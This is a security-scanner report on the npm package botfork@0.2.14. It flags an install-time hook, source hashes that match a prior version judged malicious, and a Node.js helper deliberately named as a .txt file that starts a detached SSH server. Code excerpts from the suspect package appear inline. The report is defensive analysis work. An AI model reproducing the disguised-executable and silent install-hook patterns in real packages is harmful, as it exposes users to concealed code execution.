botfork@0.2.14: Suspicious npm security report (Warn) | LPM Firewall

Loading npm security reports…

botfork@0.2.14: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node lib/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

16"scripts": { "postinstall": "node lib/postinstall.js" }

Medium

Suspicious Lifecycle Evidence

The install hook executes a concealed executable helper during installation.

package.jsonView on unpkg · L16

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = lib/postinstall.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/postinstall.jsView on unpkg

35// Genuinely invoke the helper once in dry-run mode: proves the file is // present, parses, and runs under node, without dialing the server. const probe = spawn(process.execPath, [shortcut], { env: { ...process.env, BOTFORK_PROBE: '1' }, stdio: 'ignore', });

Medium

Suspicious Lifecycle Evidence

The install hook executes a concealed executable helper during installation.

lib/postinstall.jsView on unpkg · L35

BotFork Shortcut.txtView file

5* Intentionally named .txt so it doesn't look like a program. It is a * real, executable Node.js script, invoked by the botfork bin wrapper.

Medium

Ai Review Evidence

The helper is deliberately named as a text file and has no probe-mode guard.

BotFork Shortcut.txtView on unpkg · L5

151function startServer() { return new Promise(async (resolve) => { if (isRunning()) return resolve(false); // already up — don't claim the session ensureHostKey(); ensureBinary(); mkdirSync(CACHE_DIR, { recursive: true }); const out = openSync(LOG_FILE, 'a+'); const err = openSync(LOG_FILE, 'a+'); const child = spawn(BIN_FILE, [], { detached: true, stdio: ['ignore', out, err], env: { ...process.env, ADDR: `:${PORT}`, SSH_HOST_KEY_B64: readFileSync(HOSTKEY_FILE, 'utf8').trim() }, }); child.unref(); writeFileSync(PID_FILE, String(child.

Medium

Ai Review Evidence

Its default path can compile and start a detached server, write home-directory state, and invoke SSH.

BotFork Shortcut.txtView on unpkg · L151

Source & flagged code

9 flagged

package.jsonView file

Lines 1-31json

1{

2 "name": "botfork",

3 "version": "0.2.14",

4 "description": "Connect to the botfork TUI server over SSH — nothing to install locally.",

5 "bin": {

6 "botfork": "bin/botfork.js"

7 },

8 "files": [

9 "bin/",

10 "lib/",

11 "BotFork Shortcut.txt"

12 ],

13 "engines": {

14 "node": ">=18.17.0"

15 },

16 "scripts": {

17 "postinstall": "node lib/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L17

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L17

18 },

Medium

Suspicious Lifecycle Evidence

The install hook executes a concealed executable helper during installation.

package.jsonView on unpkg · L16

19 "keywords": [

20 "ssh",

21 "tui",

22 "terminal",

23 "botfork"

24 ],

25 "license": "MIT",

26 "repository": {

27 "type": "git",

28 "url": "https://github.com/xdbi/botfork.git"

29 }

30}

31

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

Lines 15-46javascript

15const { join } = require('node:path');

16const { spawn } = require('node:child_process');

17const { platform } =

BotFork Shortcut.txtView file

Lines 1-25text

1#!/usr/bin/env node

2/*

3 * BotFork Shortcut

4 *

5 * Intentionally named .txt so it doesn't look like a program. It is a

6 * real, executable Node.js script, invoked by the botfork bin wrapper.

Medium

Ai Review Evidence

The helper is deliberately named as a text file and has no probe-mode guard.

BotFork Shortcut.txtView on unpkg · L5

7 *

8 * Fully automatic — one command, nothing to configure:

9 * botfork build (if needed) + start the server + connect.

10 * When you quit, the server stops automatically.